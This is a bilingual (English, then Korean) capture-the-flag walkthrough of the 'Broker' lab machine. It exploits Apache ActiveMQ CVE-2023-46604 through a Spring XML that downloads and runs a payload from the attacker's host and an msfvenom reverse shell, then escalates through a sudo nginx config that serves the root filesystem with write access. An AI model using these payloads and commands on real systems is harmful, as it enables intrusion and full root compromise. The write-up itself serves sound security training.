Target IP: 10.10.11.243

Initial Reconnaissance

Broker exposes a lot of ports for such a small box. I scanned all TCP ports first, then ran service detection against them.

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.243 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.243

The result was noisy, but almost everything pointed at one product:

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_  basic realm=ActiveMQRealm
1883/tcp  open  mqtt
5672/tcp  open  amqp?
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_  basic realm=ActiveMQRealm
61613/tcp open  stomp      Apache ActiveMQ
61616/tcp open  apachemq   ActiveMQ OpenWire transport
|_    ProviderVersion  5.15.15

MQTT, AMQP, STOMP, OpenWire, a Jetty admin console behind HTTP basic auth: this is an Apache ActiveMQ box. The important detail is on port 61616: the OpenWire transport leaks ProviderVersion 5.15.15.

Apache ActiveMQ RCE (CVE-2023-46604)

ActiveMQ 5.15.15 is vulnerable to CVE-2023-46604. The OpenWire protocol lets a client trigger the server to instantiate an arbitrary class, and the classic path is to point it at a Spring XML that spawns a ProcessBuilder. There is a public proof of concept for exactly this.

git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

The exploit takes a URL to a Spring XML file. I edited that XML so it downloads a reverse shell payload and runs it.

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>curl -s -o test.elf http://10.10.14.8:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

Then I generated the payload and served both files from my machine.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=5555 -f elf -o test.elf
python3 -m http.server 8001

The repository ships a prebuilt binary, but it did not run cleanly in my environment, so I built it from source with Go instead.

go build main.go
./main -i 10.10.11.243 -u http://10.10.14.8:8001/poc-linux.xml

The target fetched the XML, downloaded the payload, and connected back.

listening on [any] 5555 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.243] 34670

After upgrading the shell with Python, I had a session as activemq and could read the user flag.

python3 -c "import pty;pty.spawn('/bin/bash')"
cat user.txt

Privilege Escalation with sudo nginx

For privilege escalation, the first thing to check was sudo.

sudo -l

The activemq user could run nginx as root without a password.

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

Being able to run nginx as root is enough to read any file on the system. The idea is to start a second nginx instance with an attacker-controlled config that serves the whole filesystem, then read the target file over HTTP.

cat << 'EOF' > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
	server {
	        listen 1336;
	        root /;
	        autoindex on;
	        dav_methods PUT;
	}
}
EOF

sudo nginx -c /tmp/nginx_pwn.conf

One small gotcha: the port I picked has to be free. The box already listens on some high ports, so I used 1336 instead of a port that was already taken. With the config running as root, the root flag was a single request away.

curl localhost:1336/root/root.txt
ec7149b8385c0af9481579cf1a8f888d

Reading the root flag through the root-owned nginx instance

The same dav_methods PUT line also allows writing files as root, so this primitive is not just a file read: it is a full root compromise (for example, dropping an SSH key or a cron job).

Takeaways

Broker is a straight-line box, and both halves come down to reading a version string carefully. The OpenWire transport happily advertised 5.15.15, which maps directly to CVE-2023-46604, and sudo -l handed over nginx.

The privilege escalation is a good reminder that “just a web server” is a dangerous thing to hand out over sudo. Once a service that reads and writes arbitrary paths runs as root, its config file becomes an arbitrary file read/write primitive.


대상 IP: 10.10.11.243

초기 정찰

Broker는 크기에 비해 열린 포트가 꽤 많은 머신이에요. 우선 전체 TCP 포트를 훑고, 열린 포트에 대해 서비스 스캔을 돌렸습니다.

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.243 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.243

결과는 지저분해 보이지만, 사실 거의 다 한 제품을 가리키고 있었습니다.

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_  basic realm=ActiveMQRealm
1883/tcp  open  mqtt
5672/tcp  open  amqp?
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_  basic realm=ActiveMQRealm
61613/tcp open  stomp      Apache ActiveMQ
61616/tcp open  apachemq   ActiveMQ OpenWire transport
|_    ProviderVersion  5.15.15

MQTT, AMQP, STOMP, OpenWire, 그리고 HTTP 기본 인증 뒤에 있는 Jetty 관리 콘솔까지, 전부 Apache ActiveMQ를 가리킵니다. 여기서 가장 중요한 정보는 61616 포트인데요. OpenWire transport가 ProviderVersion 5.15.15를 그대로 노출하고 있었습니다.

Apache ActiveMQ RCE (CVE-2023-46604)

ActiveMQ 5.15.15는 CVE-2023-46604에 취약합니다. OpenWire 프로토콜에서 클라이언트가 서버에게 임의의 클래스를 인스턴스화하도록 유도할 수 있는데, 대표적인 방법이 ProcessBuilder를 실행하는 Spring XML을 가리키게 하는 것이거든요. 이 시나리오 그대로 동작하는 공개 PoC가 있습니다.

git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

이 exploit은 Spring XML 파일의 URL을 인자로 받습니다. 그래서 XML을 수정해서 reverse shell 페이로드를 내려받아 실행하도록 바꿨습니다.

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>curl -s -o test.elf http://10.10.14.8:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

이후 페이로드를 만들고, 두 파일 모두 제 머신에서 호스팅했습니다.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=5555 -f elf -o test.elf
python3 -m http.server 8001

저장소에 미리 빌드된 바이너리가 들어 있긴 한데, 제 환경에서는 깔끔하게 실행되지 않았습니다. 그래서 Go로 직접 빌드해서 사용했어요.

go build main.go
./main -i 10.10.11.243 -u http://10.10.14.8:8001/poc-linux.xml

대상이 XML을 가져가고, 페이로드를 내려받은 뒤 제쪽으로 연결이 들어왔습니다.

listening on [any] 5555 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.243] 34670

Python으로 셸을 업그레이드하니 activemq 계정 세션을 얻었고, user 플래그를 읽을 수 있었습니다.

python3 -c "import pty;pty.spawn('/bin/bash')"
cat user.txt

sudo nginx로 권한 상승하기

권한 상승은 역시 sudo부터 확인했습니다.

sudo -l

activemq 계정은 비밀번호 없이 nginx를 root로 실행할 수 있었습니다.

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

nginx를 root로 실행할 수 있다는 건, 사실상 시스템의 어떤 파일이든 읽을 수 있다는 뜻이에요. 방법은 이렇습니다. 파일시스템 전체를 서빙하는 공격자 설정으로 nginx 인스턴스를 하나 더 띄우고, 그 뒤에 HTTP로 원하는 파일을 읽는 거죠.

cat << 'EOF' > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
	server {
	        listen 1336;
	        root /;
	        autoindex on;
	        dav_methods PUT;
	}
}
EOF

sudo nginx -c /tmp/nginx_pwn.conf

한 가지 주의할 점이 있는데요. 지정하는 포트는 비어 있어야 합니다. 이 머신은 이미 높은 포트를 몇 개 쓰고 있어서, 충돌이 나지 않도록 1336을 골랐습니다. 설정이 root로 돌아가고 나면, root 플래그는 요청 한 번이면 끝입니다.

curl localhost:1336/root/root.txt
ec7149b8385c0af9481579cf1a8f888d

root 권한 nginx 인스턴스로 root 플래그 읽기

참고로 설정의 dav_methods PUT 덕분에 root 권한으로 파일 쓰기도 가능합니다. 그러니까 이건 단순한 파일 읽기가 아니라 완전한 root 장악으로 이어지는 primitive예요. (예를 들면 SSH 키나 cron 작업을 심을 수도 있죠.)

정리

Broker는 곁길이 거의 없는 머신인데, 두 단계 모두 결국 버전 문자열을 꼼꼼히 읽는 데서 풀립니다. OpenWire transport가 5.15.15를 그대로 알려줬고, 이건 바로 CVE-2023-46604로 이어졌습니다. 권한 상승도 sudo -l 한 줄이 nginx를 넘겨줬고요.

특히 권한 상승은 “그냥 웹 서버일 뿐”인 걸 sudo로 넘겨주는 게 얼마나 위험한지 잘 보여줍니다. 임의 경로를 읽고 쓰는 서비스가 root로 돌아가는 순간, 그 설정 파일 자체가 임의 파일 읽기/쓰기 수단이 되어버리니까요.